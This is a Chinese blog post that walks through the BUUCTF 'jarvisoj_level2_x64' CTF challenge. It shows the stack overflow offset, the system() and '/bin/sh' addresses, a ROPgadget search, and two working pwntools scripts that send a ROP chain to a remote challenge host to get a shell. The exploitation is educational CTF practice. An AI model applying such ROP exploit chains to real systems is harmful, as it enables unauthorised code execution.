当前位置: 首页 > news >正文

【BUUCTF-PWN】13-jarvisoj_level2_x64

参考:BUU pwn jarvisoj_level2_x64 64位函数调用栈 - Nemuzuki - 博客园 (cnblogs.com)

64位,开启了NX保护
在这里插入图片描述

执行效果如下:
在这里插入图片描述

main函数:
在这里插入图片描述

vulnerable_function函数
在这里插入图片描述

read函数存在栈溢出,溢出距离为0x80+8
在这里插入图片描述

查找后门函数
system函数地址0x4004C0
在这里插入图片描述

/bin/sh地址0x600A90
在这里插入图片描述

现在只需要让函数返回到system,并传入参数“/bin/sh”就可以了
32位的比较简单,只需要返回地址+下一次的返回地址+参数1+参数2+…
64位的流程如下:
首先用128+8个字节覆盖掉buf和rbp,然后是pop rdi; ret指令的地址,再接着是’/bin/sh’字符串的地址,最后是system()函数的地址。流程为:子函数返回到pop rdi; ret处,该指令会将当前栈顶的元素(‘/bin/sh’字符串的地址)出栈并存入rdi中,并返回到下一条指令处。此时栈中就只有system()函数的地址了,所以下一条指令正是system(),而它需要的参数正好就在rdi寄存器中,这样就执行了system(’/bin/sh’)
在这里插入图片描述

pop rdi; ret指令的地址通过ROPgadget查找:

ROPgadget --binary ./level2_x64 --only "pop|ret"

在这里插入图片描述

对应的exp如下:

from pwn import *
r = remote("node5.buuoj.cn",29878)
pop_rdi = 0x4006b3
binsh_addr = 0x600A90
system_addr = 0x4004C0
payload = b'a'*(0x80+8)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()

执行结果如下:
在这里插入图片描述
有些时候需要构造栈平衡加入ret地址,这里加不加都可以打通得到flag:

ROPgadget --binary ./level2_x64 --only "ret"

在这里插入图片描述

对应的exp如下:

from pwn import *
r = remote("node5.buuoj.cn",29878)
pop_rdi = 0x4006b3
binsh_addr = 0x600A90
system_addr = 0x4004C0
ret = 0x4004a1
payload = b'a'*(0x80+8)+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()

执行结果如下:
在这里插入图片描述

http://www.lryc.cn/news/391648.html

相关文章:

  • 项目实战--Spring Boot 3整合Flink实现大数据文件处理
  • 开发者工具攻略:前端测试的极简指南
  • git保存分支工作状态
  • 系统架构设计师——计算机体系结构
  • 3D鸡哥又上开源项目!单图即可生成,在线可玩
  • 设计模式实现思路介绍
  • Node.js学习教程
  • 项目页面优化,我们该怎么做呢?
  • 【PCIe】P2P DMA
  • Linux shell编程学习笔记62: top命令 linux下的任务管理器
  • 如何在Java中实现高性能的网络通信
  • 政务单位网站SSL证书选择策略
  • 零基础入门 Ai 数据挖掘竞赛-速通 Baseline-1
  • 第二十六章 生成器(generator)(Python)
  • Vue通过Key管理状态
  • 鸿蒙 HarmonyOs 网络请求 快速入门
  • Kubernetes云原生存储解决方案openebs部署实践-4.0.1版本(helm部署)
  • 如何使用Pip生成requirements.txt文件:全面指南与实践示例
  • 微信小程序消息通知(一次订阅)
  • 电传动无杆飞机牵引车交付用户
  • react框架,使用vite和nextjs构建react项目
  • Games101学习笔记 Lecture16 Ray Tracing 4 (Monte Carlo Path Tracing)
  • 数据结构概念
  • Windows 下载安装ffmpeg
  • Java AI 编程助手
  • day10:01集合
  • 03浅谈提示工程、RAG和微调
  • 硅纪元视角 | AI纳米机器人突破癌症治疗,精准打击肿瘤细胞
  • 刷代码随想录有感(125):动态规划——最长公共子序列
  • Linux和mysql中的基础知识